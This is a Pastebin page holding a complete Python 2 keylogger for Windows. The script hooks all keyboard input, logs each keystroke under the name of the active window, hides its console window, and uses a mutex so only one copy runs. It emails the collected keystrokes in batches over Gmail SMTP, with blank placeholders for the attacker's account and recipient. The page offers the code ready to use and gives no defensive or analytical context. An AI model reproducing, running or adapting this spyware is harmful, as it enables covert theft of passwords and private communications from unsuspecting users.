Advertisement
Guest User

Untitled

a guest
Feb 13th, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.03 KB | None | 0 0
  1. lastWindow = None
  2. try:
  3. import pythoncom, pyHook
  4. except:
  5. print "Please Install pythoncom and pyHook modules"
  6. exit(0)
  7. import os
  8. import sys
  9. import threading
  10. import urllib,urllib2
  11. import smtplib
  12. import ftplib
  13. import datetime,time
  14. import win32event, win32api, winerror
  15.  
  16. #Disallowing Multiple Instance
  17. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  18. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  19. mutex = None
  20. print "Multiple Instance not Allowed"
  21. exit(0)
  22. x=''
  23. data=''
  24. count=0
  25.  
  26. #Hide Console
  27. def hide():
  28. import win32console,win32gui
  29. window = win32console.GetConsoleWindow()
  30. win32gui.ShowWindow(window,0)
  31. return True
  32.  
  33. def send():
  34. global data
  35. if len(data)>1000:
  36. ts = datetime.datetime.now()
  37. SERVER = "smtp.gmail.com" #Specify Server Here
  38. PORT = 587 #Specify Port Here
  39. USER=""#Specify Username Here
  40. PASS=""#Specify Password Here
  41. FROM = USER#From address is taken from username
  42. TO = "" #Specify to address.Use comma if more than one to address is needed.
  43.  
  44.  
  45. print 'data...................'
  46. print data
  47.  
  48. try:
  49. server = smtplib.SMTP()
  50. print '1'
  51. server.connect(SERVER,PORT)
  52. print '2'
  53. print server.ehlo()
  54. server.starttls()
  55. print '3'
  56. print server.ehlo()
  57. server.login(USER,PASS)
  58. print '4'
  59. server.sendmail(FROM, TO, data)
  60. data=''
  61. server.quit()
  62. print 'msg sent'
  63. except Exception :
  64. print "error in connecting"
  65. return True
  66.  
  67.  
  68. def main():
  69. hide()
  70.  
  71. return True
  72.  
  73. main()
  74.  
  75. def keypressed(event):
  76. global x,data,lastWindow
  77. window = event.WindowName
  78. if window != lastWindow:
  79. data=data+'\n'+window+'||'
  80. lastWindow = window
  81. if event.Ascii==13:
  82. keys='<ENTER>'
  83. elif event.Ascii==8:
  84. keys='<BACK SPACE>'
  85. elif event.Ascii==9:
  86. keys='<TAB>'
  87. else:
  88. keys=chr(event.Ascii)
  89. data=data+keys
  90. send()
  91.  
  92. obj = pyHook.HookManager()
  93. obj.KeyDown = keypressed
  94. obj.HookKeyboard()
  95. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement